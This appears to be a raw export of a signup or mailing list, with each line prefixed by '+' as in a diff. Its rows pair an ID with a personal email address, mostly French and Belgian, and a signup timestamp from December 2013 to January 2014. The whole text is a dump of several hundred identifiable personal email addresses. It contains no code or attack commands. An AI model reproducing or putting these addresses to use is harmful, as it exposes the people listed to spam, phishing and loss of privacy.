+1593;catja@wanadoo.fr;2013-12-04 12:15:19; ; ;0 +1594;saman792003@yahoo.fr;2013-12-04 13:50:27; ; ;0 +1595;magalie.ancien@hotmail.fr;2013-12-04 14:41:29; ; ;0 +1596;kfernandez@free.fr;2013-12-04 14:54:50; ; ;0 +1597;caroline.ganay4@orange.fr;2013-12-04 19:08:06; ; ;0 +1598;catherinehecquet@wanadoo.fr;2013-12-04 20:47:48; ; ;0 +1599;v.giafferi@orange.fr;2013-12-04 21:32:50; ; ;0 +1600;mllesephora@gmail.com;2013-12-04 22:05:30; ; ;0 +1601;delphinebonn@hotmail.com;2013-12-04 22:07:43; ; ;0 +1602;xelby@hotmail.fr;2013-12-04 22:25:10; ; ;0 +1603;h_a_n_a_e@hotmail.fr;2013-12-05 03:16:56; ; ;0 +1604;helenelaurencepicou@yahoo.fr;2013-12-05 05:02:37; ; ;0 +1605;maloird@gmail.com;2013-12-05 08:14:19; ; ;0 +1606;adorabledomi@hotmail.com;2013-12-05 09:11:18; ; ;0 +1607;isa_alain@orange.fr;2013-12-05 09:52:51; ; ;0 +1608;sandri2907@wanadoo.fr;2013-12-05 11:50:32; ; ;0 +1609;sandrine.burkhardt@gmail.com;2013-12-05 12:21:49; ; ;0 +1610;laetilongo@gmail.com;2013-12-05 13:39:19; ; ;0 +1611;adeline.arn@voila.fr;2013-12-05 13:44:12; ; ;0 +1612;jlg0208@gmail.com;2013-12-05 14:38:25; ; ;0 +1613;ninooo24@hotmail.fr;2013-12-05 15:53:47; ; ;0 +1615;tiffanie.granara@gmail.com;2013-12-05 18:37:31; ; ;0 +1616;li.lou.du37@hotmail.fr;2013-12-05 20:04:23; ; ;0 +1617;bettyboop197409@yahoo.fr;2013-12-05 20:40:07; ; ;0 +1618;maryjane.071184@hotmail.fr;2013-12-05 21:03:40; ; ;0 +1619;charline-picard@orange.fr;2013-12-05 21:15:54; ; ;0 +1620;mylssrdr@gmail.com;2013-12-05 21:59:20; ; ;0 +1621;minimad@hotmail.be;2013-12-05 23:40:14; ; ;0 +1622;isabellemarcon@skynet.be;2013-12-06 08:15:37; ; ;0 +1623;audrey_391@hotmail.com;2013-12-06 08:57:39; ; ;0 +1624;sprietca@gmail.com;2013-12-06 11:27:21; ; ;0 +1625;karine81d@hotmail.com;2013-12-06 12:16:59; ; ;0 +1626;dpelardy@laposte.net;2013-12-06 12:17:46; ; ;0 +1627;fcollomb@free.fr;2013-12-06 12:19:11; ; ;0 +1628;virginiepruvot@hotmail.com;2013-12-06 14:45:00; ; ;0 +1629;justine_minet@hotmail.com;2013-12-06 16:45:21; ; ;0 +1630;sarah.gauvin@hotmail.fr;2013-12-06 17:21:24; ; ;0 +1631;flapierre@noos.fr;2013-12-06 17:21:30; ; ;0 +1632;rabillou@orange.fr;2013-12-06 17:56:10; ; ;0 +1633;jadene13@live.fr;2013-12-06 18:33:09; ; ;0 +1634;aline.doruch@bbox.fr;2013-12-06 18:36:23; ; ;0 +1635;bostyn.delphine@gmail.com;2013-12-06 18:54:12; ; ;0 +1636;brigitte.vidongeni@gmail.com;2013-12-06 20:18:11; ; ;0 +1637;noura.toumerle@sfr.fr;2013-12-06 23:15:10; ; ;0 +1638;ANNACSCARVALHO@AOL.COM;2013-12-06 23:26:31; ; ;0 +1639;adetaddeo@live.fr;2013-12-07 11:12:11; ; ;0 +1640;catherineguy3917@neuf.fr;2013-12-07 14:30:54; ; ;0 +1641;cmoilarene@hotmail.com;2013-12-07 15:34:00; ; ;0 +1642;catherineroy@hotmail.fr;2013-12-07 16:28:15; ; ;0 +1643;ashlinefrancois@hotmail.com;2013-12-07 16:33:38; ; ;0 +1644;superluz10@gmail.com;2013-12-07 16:45:40; ; ;0 +1645;christine.dinand@laposte.net;2013-12-07 17:26:34; ; ;0 +1646;cvgpflieger@yahoo.fr;2013-12-07 18:05:11; ; ;0 +1647;sabrina-le@hotmail.fr;2013-12-07 18:27:15; ; ;0 +1648;tchoony@yahoo.fr;2013-12-07 18:53:43; ; ;0 +1649;afbesson@yahoo.fr;2013-12-07 18:54:14; ; ;0 +1650;bousquet.savennieres@orange.fr;2013-12-07 22:20:34; ; ;0 +1651;cecilesihalipesca@hotmail.fr;2013-12-07 22:27:23; ; ;0 +1652;kreamercecile@live.fr;2013-12-08 00:47:36; ; ;0 +1653;marytime55@hotmail.fr;2013-12-08 03:29:02; ; ;0 +1654;christiane.perrier53@free.fr;2013-12-08 09:47:16; ; ;0 +1655;cath.dekimpe@orange.fr;2013-12-08 19:51:28; ; ;0 +1656;ursenbacha@gmail.com;2013-12-08 20:49:14; ; ;0 +1657;cathbattaglia@hotmail.fr;2013-12-08 21:28:09; ; ;0 +1658;guesdon@obs-mip.fr;2013-12-09 11:36:02; ; ;0 +1659;raimbaultmarjorie@yahoo.fr;2013-12-09 12:33:00; ; ;0 +1660;ninette_93@hotmail.fr;2013-12-09 14:04:56; ; ;0 +1661;smadrias@gmail.com;2013-12-09 18:06:54; ; ;0 +1662;phito96@hotmail.com;2013-12-09 18:45:44; ; ;0 +1663;charline.cason@orange.fr;2013-12-09 19:54:08; ; ;0 +1665;cecile.manteau@free.fr;2013-12-09 21:06:31; ; ;0 +1666;noumea1312@voila.fr;2013-12-09 22:41:40; ; ;0 +1667;martine.rouviere5@orange.fr;2013-12-10 08:28:20; ; ;0 +1668;virginie.servillat@free.fr;2013-12-10 09:08:21; ; ;0 +1669;e.barrat@wanadoo.fr;2013-12-10 14:50:57; ; ;0 +1670;coyote479@hotmail.fr;2013-12-10 19:50:10; ; ;0 +1671;pegmichel@orange.fr;2013-12-10 22:29:04; ; ;0 +1672;pascalbrilland@orange.fr;2013-12-10 22:48:45; ; ;0 +1673;hognon.aurelia@orange.fr;2013-12-11 12:03:06; ; ;0 +1674;mathildecatanas@yahoo.fr;2013-12-11 15:25:42; ; ;0 +1675;nathalienonnotte17430@gmail.com;2013-12-11 16:37:37; ; ;0 +1677;VIOBACC@hotmail.com;2013-12-11 19:44:26; ; ;0 +1678;lemaitrecyndi@gmail.com;2013-12-11 20:13:09; ; ;0 +1679;Kloelevek@hotmail.com;2013-12-11 22:58:39; ; ;0 +1680;patricia.declomesnil@orange.fr;2013-12-12 00:00:33; ; ;0 +1681;veronika.erhardt@gmail.com;2013-12-12 00:34:21; ; ;0 +1682;parapharmacie.agneaux@scanormande.fr;2013-12-12 10:46:25; ; ;0 +1683;martine.vignoles@gmail.com;2013-12-12 13:14:09; ; ;0 +1685;franve@live.be;2013-12-12 16:59:52; ; ;0 +1686;nancysamad7@gmail.com;2013-12-12 18:00:42; ; ;0 +1687;chrisalyd@orange.fr;2013-12-12 19:00:45; ; ;0 +1688;aurelie.vignal@yahoo.fr;2013-12-12 21:12:51; ; ;0 +1689;hbarbara2@hotmail.com;2013-12-12 22:13:56; ; ;0 +1690;virg74.cousin@gmail.com;2013-12-13 10:22:40; ; ;0 +1692;catherinelatrech@yahoo.fr;2013-12-13 14:28:18; ; ;0 +1693;faustinegrange-lemesle@wanadoo.fr;2013-12-13 16:17:22; ; ;0 +1694;mademoisellealunettes@gmail.com;2013-12-13 16:58:53; ; ;0 +1695;pounettezion@gmail.com;2013-12-13 17:35:21; ; ;0 +1696;Fevriermi@free.fr;2013-12-13 17:35:24; ; ;0 +1697;helene@accent.fr;2013-12-13 18:58:58; ; ;0 +1698;elo0306@hotmail.fr;2013-12-13 20:55:03; ; ;0 +1699;nadege.artaud@yahoo.fr;2013-12-14 10:22:16; ; ;0 +1700;leifer.laetitia@hotmail.fr;2013-12-14 14:35:09; ; ;0 +1701;maroupie92@gmail.com;2013-12-14 17:12:03; ; ;0 +1702;maud.biguet@cegetel.net;2013-12-14 19:08:48; ; ;0 +1703;aliciachalin@gmail.com;2013-12-14 20:01:34; ; ;0 +1704;christine.airal@wanadoo.fr;2013-12-15 00:26:05; ; ;0 +1705;lilisue@hotmail.com;2013-12-15 09:29:15; ; ;0 +1706;laetitia.delbecque@gmail.com;2013-12-15 11:45:48; ; ;0 +1709;henchacri@msn.com;2013-12-15 17:55:55; ; ;0 +1710;funebre@live.fr;2013-12-15 18:50:35; ; ;0 +1711;lozodve@hotmail.com;2013-12-15 19:02:52; ; ;0 +1712;piot.jean-yves@orange.fr;2013-12-16 09:09:23; ; ;0 +1713;Nathdiabolo@gmail.com;2013-12-16 10:12:58; ; ;0 +1714;caprige@orange.fr;2013-12-16 11:07:08; ; ;0 +1715;amel.style@gmail.com;2013-12-16 17:10:28; ; ;0 +1716;melanie.lastre@gmail.com;2013-12-16 21:21:25; ; ;0 +1717;sarahmangold552@gmail.com;2013-12-16 22:51:58; ; ;0 +1718;poppy.rene@orange.fr;2013-12-16 23:21:17; ; ;0 +1719;gwengrimoin@hotmail.com;2013-12-16 23:27:58; ; ;0 +1720;carina.drocourt@gmail.com;2013-12-17 03:13:29; ; ;0 +1721;cassidy12@hotmail.fr;2013-12-17 03:48:26; ; ;0 +1722;clochette75@wanadoo.fr;2013-12-17 08:04:00; ; ;0 +1723;jucebox92@gmail.com;2013-12-17 19:19:43; ; ;0 +1724;leslie.joniaux@gmail.com;2013-12-17 21:57:04; ; ;0 +1725;dy.die@live.fr;2013-12-17 22:27:41; ; ;0 +1728;benedictepreux@orange.fr;2013-12-18 13:53:18; ; ;0 +1730;sabrina.regionest@yahoo.fr;2013-12-18 16:27:16; ; ;0 +1731;emiliejanet@gmail.com;2013-12-18 18:30:29; ; ;0 +1732;chloe.hpflex@gmail.com;2013-12-19 14:51:49; ; ;0 +1733;francoise.baret@wanadoo.fr;2013-12-19 15:08:36; ; ;0 +1734;dianasellier@hotmail.fr;2013-12-19 23:58:49; ; ;0 +1735;melleret.nora@gmail.com;2013-12-20 09:02:21; ; ;0 +1736;monnierpass@sfr.fr;2013-12-20 11:17:20; ; ;0 +1737;m_delaunay7@yahoo.fr;2013-12-20 16:13:01; ; ;0 +1738;laetitia.delbecque@gmail.fr;2013-12-20 17:22:28; ; ;0 +1739;largouet.mathilde@hotmail.fr;2013-12-21 00:01:37; ; ;0 +1740;svefer55@hotmail.fr;2013-12-21 00:16:28; ; ;0 +1741;ameliegaget@hotmail.com;2013-12-21 01:15:55; ; ;0 +1742;lauren.cantie@googlemail.com;2013-12-21 16:44:48; ; ;0 +1743;sylvie.fieux@free.fr;2013-12-21 16:48:13; ; ;0 +1744;soro.sandrine@free.fr;2013-12-21 21:33:52; ; ;0 +1745;marina.st-jalmes@orange.fr;2013-12-22 10:20:19; ; ;0 +1746;corinechei@aol.com;2013-12-22 10:45:24; ; ;0 +1748;blandinepastore@gmail.com;2013-12-22 12:09:13; ; ;0 +1749;delphine.lay@orange.fr;2013-12-22 13:35:08; ; ;0 +1750;eliane_bertrand@hotmail.fr;2013-12-22 13:42:42; ; ;0 +1751;guydani@orange.fr;2013-12-22 14:03:31; ; ;0 +1752;capalu1@orange.fr;2013-12-22 14:16:49; ; ;0 +1753;nadia.nunez@orange.fr;2013-12-22 14:28:39; ; ;0 +1754;delsautch@aol.com;2013-12-22 14:47:41; ; ;0 +1755;Sophie.serna@hotmail.fr;2013-12-22 17:26:45; ; ;0 +1756;cam_beve@hotmail.fr;2013-12-22 19:51:51; ; ;0 +1757;mariepaule.buffa@sfr.fr;2013-12-22 21:05:03; ; ;0 +1759;olicia@wanadoo.fr;2013-12-23 07:25:21; ; ;0 +1760;stra75@free.fr;2013-12-23 07:57:34; ; ;0 +1761;fannyfraixbavuz@aol.com;2013-12-23 14:20:07; ; ;0 +1762;anais.hosselet@laposte.net;2013-12-23 14:49:18; ; ;0 +1763;ricos971@hotmail.fr;2013-12-23 16:09:02; ; ;0 +1764;natladybird@live.fr;2013-12-23 17:14:14; ; ;0 +1765;sev0310@hotmail.com;2013-12-23 18:47:51; ; ;0 +1766;virginiechook@hotmail.fr;2013-12-24 15:13:37; ; ;0 +1768;sodu562008@hotmail.fr;2013-12-24 21:50:12; ; ;0 +1769;julie.seral@esc.pau.net;2013-12-24 23:12:29; ; ;0 +1771;pizellea@voila.fr;2013-12-25 18:32:48; ; ;0 +1772;mxgirl29@hotmail.fr;2013-12-25 20:14:09; ; ;0 +1773;marbachclothilde@gmail.com;2013-12-26 09:05:50; ; ;0 +1775;wmartincorinne@hotmail.fr;2013-12-26 11:36:37; ; ;0 +1776;lucy_henry@hotmail.fr;2013-12-26 15:31:24; ; ;0 +1777;catherine.carrilho@laposte.net;2013-12-26 16:02:15; ; ;0 +1778;28fleur@gmail.com;2013-12-26 19:06:08; ; ;0 +1780;miloue29@Yahoo.fr;2013-12-27 11:11:07; ; ;0 +1781;lm002@free.fr;2013-12-27 12:36:50; ; ;0 +1782;joannacoryndon@gmail.com;2013-12-27 16:17:01; ; ;0 +1783;moifelicia@hotmail.fr;2013-12-27 17:29:53; ; ;0 +1784;marine.gueret@live.fr;2013-12-27 18:56:41; ; ;0 +1785;sandrine.moglia@sfr.fr;2013-12-27 22:19:21; ; ;0 +1786;cavagnig.stella@hotmail.fr;2013-12-27 22:39:08; ; ;0 +1787;audrey76230@hotmail.fr;2013-12-27 23:24:57; ; ;0 +1788;genevieve.de-wever@orange.fr;2013-12-28 10:04:57; ; ;0 +1789;alubet16@yahoo.fr;2013-12-28 12:26:02; ; ;0 +1791;cedric.delphine@bbox.fr;2013-12-28 14:45:23; ; ;0 +1792;sabine_berghs@yahoo.Com;2013-12-28 18:00:29; ; ;0 +1793;corinnemezy@gmail.com;2013-12-28 18:53:43; ; ;0 +1794;parmeval@sfr.fr;2013-12-29 01:07:37; ; ;0 +1795;ipxena@hotmail.com;2013-12-29 11:07:17; ; ;0 +1796;amandine.jean95@sfr.fr;2013-12-29 12:43:23; ; ;0 +1797;pauljoseph.agnes@gmail.com;2013-12-29 22:00:55; ; ;0 +1798;dhalluinmary@hotmail.com;2013-12-30 13:15:37; ; ;0 +1799;steflobietti@yahoo.fr;2013-12-30 13:37:14; ; ;0 +1800;kamdevil@hotmail.com;2013-12-30 15:29:21; ; ;0 +1801;anne-marie.gorkovas@hotmail.fr;2013-12-30 15:57:04; ; ;0 +1802;felicieossi@yahoo.fr;2013-12-30 16:38:08; ; ;0 +1803;archeo17@aol.com;2013-12-30 17:18:28; ; ;0 +1804;auroreannette@sfr.fr;2013-12-30 17:28:04; ; ;0 +1805;lajane761@hotmail.fr;2013-12-30 22:22:39; ; ;0 +1806;galinette42@hotmail.com;2013-12-31 00:19:34; ; ;0 +1807;gwenaelle.delouard@gmail.com;2013-12-31 04:55:48; ; ;0 +1808;maggy19@hotmail.fr;2013-12-31 11:35:31; ; ;0 +1809;huguette.gritti@moselle.gouv.fr;2013-12-31 14:46:51; ; ;0 +1810;grittih@gmail.com;2013-12-31 14:52:19; ; ;0 +1811;naimamaaa@hotmail.fr;2013-12-31 18:19:27; ; ;0 +1812;hlorenzihardouin@gmail.com;2013-12-31 18:23:52; ; ;0 +1813;braesch.carmen@orange.fr;2014-01-01 11:53:26; ; ;0 +1814;lylloo69@hotmail.com;2014-01-01 12:25:37; ; ;0 +1815;brcouderc@hotmail.fr;2014-01-01 13:04:58; ; ;0 +1816;nathdubrulle@free.fr;2014-01-01 14:03:55; ; ;0 +1817;marylin.essig@free.fr;2014-01-01 14:16:15; ; ;0 +1818;martine22009@hotmail.fr;2014-01-02 09:46:49; ; ;0 +1819;lunenpleinjour@gmail.com;2014-01-02 10:27:23; ; ;0 +1820;alexandraa.jimenez@yahoo.fr;2014-01-02 14:15:15; ; ;0 +1821;alexandra-lindsay@hotmail.fr;2014-01-02 14:39:03; ; ;0 +1822;anastasia.d22@gmail.com;2014-01-02 15:34:30; ; ;0 +1823;nelly.suard@orange.fr;2014-01-02 17:54:19; ; ;0 +1824;paulinegb67@gmail.com;2014-01-03 08:18:26; ; ;0 +1825;valpharmacien@yahoo.fr;2014-01-03 15:09:09; ; ;0 +1826;cc.bellec@gmail.com;2014-01-03 18:55:58; ; ;0 +1827;marinejoelle@yahoo.fr;2014-01-03 20:09:54; ; ;0 +1828;francoise.drouard@free.fr;2014-01-03 20:58:02; ; ;0 +1829;ilovemua@hotmail.fr;2014-01-03 23:53:20; ; ;0 +1830;greuxnadine@msn.com;2014-01-04 00:32:16; ; ;0 +1831;Marine.malandain@gmail.com;2014-01-04 01:31:49; ; ;0 +1833;isa_troucelier@hotmail.com;2014-01-04 13:11:14; ; ;0 +1834;guerlavais@hotmail.fr;2014-01-04 13:29:07; ; ;0 +1835;laets63@gmail.com;2014-01-04 17:00:43; ; ;0 +1836;ccalmettes@gmail.com;2014-01-04 19:17:16; ; ;0 +1837;ptitenat.59@gmail.com;2014-01-05 00:48:33; ; ;0 +1838;lu.riche@laposte.net;2014-01-05 11:14:54; ; ;0 +1839;oliviadeslandes@gmail.com;2014-01-05 11:55:02; ; ;0 +1840;muriel-baron@wanadoo.fr;2014-01-05 12:15:05; ; ;0 +1841;blondeau.delamare@wanadoo.fr;2014-01-05 15:34:11; ; ;0 +1842;annelaure.guillaneau@gmail.com;2014-01-05 16:29:52; ; ;0 +1843;carinepri@aol.com;2014-01-05 17:33:04; ; ;0 +1844;auriac.marie@gmail.com;2014-01-05 17:53:51; ; ;0 +1845;noursine20@hotmail.com;2014-01-06 07:26:10; ; ;0 +1846;stefani.smet@hotmail.fr;2014-01-06 09:47:12; ; ;0 +1847;emilie.dew@live.fr;2014-01-06 10:26:05; ; ;0 +1848;hleila831@gmail.com;2014-01-06 15:50:17; ; ;0 +1849;florimuche@hotmail.fr;2014-01-06 16:21:19; ; ;0 +1850;gableo@wanadoo.fr;2014-01-06 18:16:02; ; ;0 +1851;eve.kamm@orange.fr;2014-01-06 18:46:17; ; ;0 +1852;barbara.bonnet09@gmail.com;2014-01-07 01:12:01; ; ;0 +1853;ditdje@hotmail.com;2014-01-07 10:19:22; ; ;0 +1854;armande.64@hotmail.fr;2014-01-07 14:47:11; ; ;0 +1855;corinne.laudigeois@hotmail.fr;2014-01-07 16:10:16; ; ;0 +1856;florence.mallet@gmail.com;2014-01-07 18:19:57; ; ;0 +1857;ileanamaniu@yahoo.com;2014-01-07 20:55:12; ; ;0 +1858;sylvie.bican@gmail.com;2014-01-08 11:16:16; ; ;0 +1859;piaperrot@wanadoo.fr;2014-01-08 13:47:35; ; ;0 +1860;mathilde.blin.mb@gmail.com;2014-01-08 16:05:42; ; ;0 +1862;ids.pellizon@wanadoo.fr;2014-01-08 21:12:09; ; ;0 +1863;lua595@yahoo.fr;2014-01-09 11:27:28; ; ;0 +1864;anouche_mushu@hotmail.fr;2014-01-09 15:52:14; ; ;0 +1865;sandraboop@hotmail.fr;2014-01-09 21:56:45; ; ;0 +1866;taliasad@yahoo.fr;2014-01-10 00:03:46; ; ;0 +1867;mbandrieu@orange.fr;2014-01-10 14:47:16; ; ;0 +1868;bmlhom@yahoo.fr;2014-01-10 15:23:07; ; ;0 +1869;terence_uk@yahoo.com;2014-01-10 15:44:18; ; ;0 +1870;dbuyse@laposte.net;2014-01-10 16:20:55; ; ;0 +1871;sandrapitzalis@hotmail.fr;2014-01-10 16:21:36; ; ;0 +1872;caminoah@yahoo.fr;2014-01-10 16:22:30; ; ;0 +1873;s-emmanuelle@hotmail.fr;2014-01-10 16:22:46; ; ;0 +1874;mathildelebrand@yahoo.fr;2014-01-10 16:23:45; ; ;0 +1875;juliette.vincent14@gmail.com;2014-01-10 16:24:17; ; ;0 +1876;chloe.luzillat@live.fr;2014-01-10 16:26:36; ; ;0 +1877;angelinafan2@hotmail.fr;2014-01-10 16:27:21; ; ;0 +1878;psycalicious@gmail.com;2014-01-10 16:27:50; ; ;0 +1879;aberthome@leanature.com;2014-01-10 16:29:19; ; ;0 +1880;alex6.thivin@laposte.net;2014-01-10 16:29:26; ; ;0 +1881;isabelle.lignon@wanadoo.fr;2014-01-10 16:29:49; ; ;0 +1882;stephcazenave@hotmail.fr;2014-01-10 16:30:59; ; ;0 +1883;jeanphilippe.zizek@gmail.com;2014-01-10 16:31:12; ; ;0 +1884;margauxbouvet@gmail.com;2014-01-10 16:31:27; ; ;0 +1885;f.delacourt@hotmail.fr;2014-01-10 16:33:48; ; ;0 +1886;sjnleblanc@gmail.com;2014-01-10 16:34:30; ; ;0 +1887;green-planet-59@hotmail.fr;2014-01-10 16:34:36; ; ;0 +1888;lau-dc83@hotmail.fr;2014-01-10 16:35:05; ; ;0 +1889;gerald.dosselaere@sfr.fr;2014-01-10 16:35:14; ; ;0 +1890;xaviere.coudun@free.fr;2014-01-10 16:35:19; ; ;0 +1891;bperez-monreal@club-internet.fr;2014-01-10 16:35:19; ; ;0 +1892;daassuncao.sandrine@live.fr;2014-01-10 16:35:21; ; ;0 +1893;gerald.dosselaere@live.fr;2014-01-10 16:35:32; ; ;0 +1894;mitra.etemmad@gmail.com;2014-01-10 16:35:53; ; ;0 +1895;p.gatineau02@yahoo.fr;2014-01-10 16:35:59; ; ;0 +1896;adelinedarvoux@free.fr;2014-01-10 16:36:04; ; ;0 +1897;akane.kuma@free.fr;2014-01-10 16:36:10; ; ;0 +1898;karine-jerem@hotmail.fr;2014-01-10 16:36:12; ; ;0 +1899;howardlechichi@free.fr;2014-01-10 16:36:17; ; ;0 +1900;ipvl@hotmail.fr;2014-01-10 16:36:42; ; ;0 +1901;nuss1954@yahoo.fr;2014-01-10 16:36:45; ; ;0 +1902;Lucie.sautarel@gmail.com;2014-01-10 16:37:59; ; ;0 +1903;magalitoullec@laposte.net;2014-01-10 16:38:03; ; ;0 +1904;lunedivineeve@gmail.com;2014-01-10 16:38:43; ; ;0 +1905;divineeve@hotmail.com;2014-01-10 16:38:52; ; ;0 +1907;sauretamandine@gmail.com;2014-01-10 16:39:00; ; ;0 +1908;mbpujalte@wanadoo.fr;2014-01-10 16:39:02; ; ;0 +1909;bernarddurieux42@orange.fr;2014-01-10 16:39:55; ; ;0 +1910;lili-ethan@hotmail.fr;2014-01-10 16:40:20; ; ;0 +1911;mailaumi@yahoo.fr;2014-01-10 16:40:36; ; ;0 +1912;philippe.vidal83@orange.fr;2014-01-10 16:42:08; ; ;0 +1913;catherine@nougmanov.fr;2014-01-10 16:46:59; ; ;0 +1915;veronique.paillette02@orange.fr;2014-01-10 16:48:59; ; ;0 +1916;boobi_baby_love@hotmail.com;2014-01-10 16:50:09; ; ;0 +1917;megannb@hotmail.fr;2014-01-10 16:52:40; ; ;0 +1918;Vanina.armani@orange.fr;2014-01-10 16:54:51; ; ;0 +1919;sweetlady29@hotmail.fr;2014-01-10 16:56:04; ; ;0 +1920;vicky_blue38@yahoo.fr;2014-01-10 16:57:14; ; ;0 +1921;nadege_ottone@yahoo.fr;2014-01-10 16:59:42; ; ;0 +1922;selkis71@hotmail.com;2014-01-10 17:00:36; ; ;0 +1924;co.carole@wanadoo.fr;2014-01-10 17:02:20; ; ;0 +1925;ceciler64@gmail.com;2014-01-10 17:02:53; ; ;0 +1926;dana_c65@hotmail.com;2014-01-10 17:04:10; ; ;0 +1927;line70@gmail.com;2014-01-10 17:04:11; ; ;0 +1928;sandrinetdavid27@free.fr;2014-01-10 17:05:01; ; ;0 +1929;flona6479@gmail.com;2014-01-10 17:05:07; ; ;0 +1930;veroniquethireau@gmail.com;2014-01-10 17:07:14; ; ;0 +1931;carbie810@aol.com;2014-01-10 17:07:38; ; ;0 +1932;elfique22@yahoo.fr;2014-01-10 17:11:59; ; ;0 +1933;isabelle.landreau@live.fr;2014-01-10 17:15:43; ; ;0 +1934;melanie.dieterlen@free.fr;2014-01-10 17:15:47; ; ;0 +1935;anneclairelefebure@gmail.com;2014-01-10 17:16:41; ; ;0 +1936;ludivine.gusse@orange.fr;2014-01-10 17:19:42; ; ;0 +1937;nathalie.jaudier@bbox.fr;2014-01-10 17:20:33; ; ;0 +1938;ibarbier@hotmail.fr;2014-01-10 17:21:31; ; ;0 +1939;bourdoisbb@yahoo.fr;2014-01-10 17:25:06; ; ;0 +1940;lucelapuce34@hotmail.fr;2014-01-10 17:28:22; ; ;0 +1941;pascale.adler@freesbee.fr;2014-01-10 17:29:02; ; ;0 +1942;concours-sandra@live.fr;2014-01-10 17:29:11; ; ;0 +1943;elody.g95@hotmail.fr;2014-01-10 17:38:03; ; ;0 +1944;domi2809@free.fr;2014-01-10 17:40:29; ; ;0 +1945;marykibeelou@yahoo.fr;2014-01-10 17:40:40; ; ;0 +1946;claire-vilhem@voila.fr;2014-01-10 17:40:50; ; ;0 +1947;anne.hakim@yahoo.fr;2014-01-10 17:45:37; ; ;0 +1948;fanyly8@orange.fr;2014-01-10 17:51:07; ; ;0 +1949;sncarre@aol.com;2014-01-10 17:52:15; ; ;0 +1950;bazzarette@hotmail.com;2014-01-10 17:58:44; ; ;0 +1952;lilou.guillaume@cegetel.net;2014-01-10 18:07:37; ; ;0 +1953;muriel.follet@sfr.fr;2014-01-10 18:09:54; ; ;0 +1954;clemencelefoll@hotmail.fr;2014-01-10 18:10:58; ; ;0 +1955;catherine.bartkowiak@gmail.com;2014-01-10 18:21:58; ; ;0 +1956;corinne.froment9@orange.fr;2014-01-10 18:22:35; ; ;0 +1957;penelope.perrichot@gmail.com;2014-01-10 18:24:32; ; ;0 +1958;dumcarine@wanadoo.fr;2014-01-10 18:27:28; ; ;0 +1959;vuibert@hotmail.com;2014-01-10 18:28:03; ; ;0 +1960;sandracollart@yahoo.fr;2014-01-10 18:30:47; ; ;0 +1961;lola-30@hotmail.fr;2014-01-10 18:35:57; ; ;0 +1962;djamila.sarrazin@orange.fr;2014-01-10 18:39:52; ; ;0 +1963;marie-pierre.berthod@orange.fr;2014-01-10 18:42:48; ; ;0 +1964;rozlyn78@gmail.com;2014-01-10 18:52:13; ; ;0 +1965;mumu_8412@hotmail.com;2014-01-10 18:52:44; ; ;0 +1966;Soph_mdc@yahoo.fr;2014-01-10 19:06:15; ; ;0 +1967;lachouffe34@hotmail.fr;2014-01-10 19:11:59; ; ;0 +1968;nathan.linux@yahoo.fr;2014-01-10 19:14:29; ; ;0 +1969;106pierrot59@free.fr;2014-01-10 19:17:12; ; ;0 +1970;Cecilegirardet@hotmail.fr;2014-01-10 19:19:32; ; ;0 +1971;nathabe@live.fr;2014-01-10 19:24:51; ; ;0 +1972;ameb65@hotmail.com;2014-01-10 19:37:15; ; ;0 +1973;sandrinebittmann@hotmail.com;2014-01-10 19:51:34; ; ;0 +1974;airbeach@yahoo.fr;2014-01-10 19:54:16; ; ;0 +1975;jlullier3@gmail.com;2014-01-10 19:55:51; ; ;0 +1976;lili84330@hotmail.fr;2014-01-10 20:11:34; ; ;0 +1977;A.leray8@hotmail.fr;2014-01-10 20:16:06; ; ;0 +1978;BACCELINIMF@hotmail.fr;2014-01-10 20:19:55; ; ;0 +1979;niquedoule@hotmail.com;2014-01-10 20:22:55; ; ;0 +1980;nadia_chaaben@yahoo.fr;2014-01-10 20:31:47; ; ;0 +1981;marguerite.buet@neuf.fr;2014-01-10 20:35:09; ; ;0 +1983;Mortreuxfamily@live.fr;2014-01-10 20:39:28; ; ;0 +1984;ad.ng@live.fr;2014-01-10 20:41:18; ; ;0 +1985;clo2506@gmail.com;2014-01-10 20:45:26; ; ;0 +1987;missstephy@live.fr;2014-01-10 21:20:57; ; ;0 +1988;dominique.lossignol@numericable.be;2014-01-10 21:30:47; ; ;0 +1989;sandradespreaux@yahoo.fr;2014-01-10 21:33:31; ; ;0 +1990;malwen2010@hotmail.fr;2014-01-10 21:38:55; ; ;0 +1991;ophelie.a@wanadoo.fr;2014-01-10 21:48:08; ; ;0 +1992;rallyegirl74@hotmail.fr;2014-01-10 21:48:16; ; ;0 +1993;teamopheliesport@yahoo.fr;2014-01-10 21:48:21; ; ;0 +1994;mariecc.furet@gmail.com;2014-01-10 21:54:35; ; ;0 +1995;dominiqueetcoco@msn.com;2014-01-10 21:54:36; ; ;0 +1996;caroline.passant@gmail.com;2014-01-10 22:08:13; ; ;0 +1997;vicchristine@orange.fr;2014-01-10 22:22:54; ; ;0 +1998;bazileannie@gmail.com;2014-01-10 22:44:30; ; ;0 +1999;michelepinfort@gmail.com;2014-01-10 22:46:32; ; ;0 +2000;albanedemaulde@free.fr;2014-01-10 23:03:00; ; ;0 +2001;virgisk8@gmail.com;2014-01-10 23:06:12; ; ;0 +2002;VAL4445@orange.fr;2014-01-10 23:06:44; ; ;0 +2003;adele-constan@live.fr;2014-01-10 23:12:07; ; ;0 +2004;nathalie.loncke@gmail.com;2014-01-10 23:21:47; ; ;0 +2005;djolf49@hotmail.fr;2014-01-10 23:27:45; ; ;0 +2006;Annesophiez@yahoo.fr;2014-01-10 23:30:08; ; ;0 +2008;gmesange@noos.fr;2014-01-11 00:35:26; ; ;0 +2009;mgweno@hotmail.fr;2014-01-11 00:35:39; ; ;0 +2010;audreyx216@gmail.com;2014-01-11 01:34:55; ; ;0 +2011;lolasample1@orange.fr;2014-01-11 02:50:05; ; ;0 +2012;fleurdujapon@hotmail.fr;2014-01-11 05:14:44; ; ;0 +2013;nadia.tonkin@laposte.net;2014-01-11 08:21:16; ; ;0 +2014;maurice.lardez@laposte.net;2014-01-11 08:21:24; ; ;0 +2015;e.lardez@laposte.net;2014-01-11 08:21:32; ; ;0 +2016;l.zehner@hotmail.fr;2014-01-11 08:41:23; ; ;0 +2017;cecile-nh@orange.fr;2014-01-11 09:06:05; ; ;0 +2018;charlotte.geoffroy@wanadoo.fr;2014-01-11 09:14:58; ; ;0 +2019;dfrimousse@ymail.com;2014-01-11 09:15:31; ; ;0 +2020;simca1200s@yahoo.fr;2014-01-11 09:15:41; ; ;0 +2021;sonia.908@orange.fr;2014-01-11 09:35:08; ; ;0 +2022;sylvie.schricke@gmail.com;2014-01-11 10:30:57; ; ;0 +2024;aboudjihad75@gmail.com;2014-01-11 10:55:29; ; ;0 +2026;jevidemongrenier@laposte.net;2014-01-11 11:41:23; ; 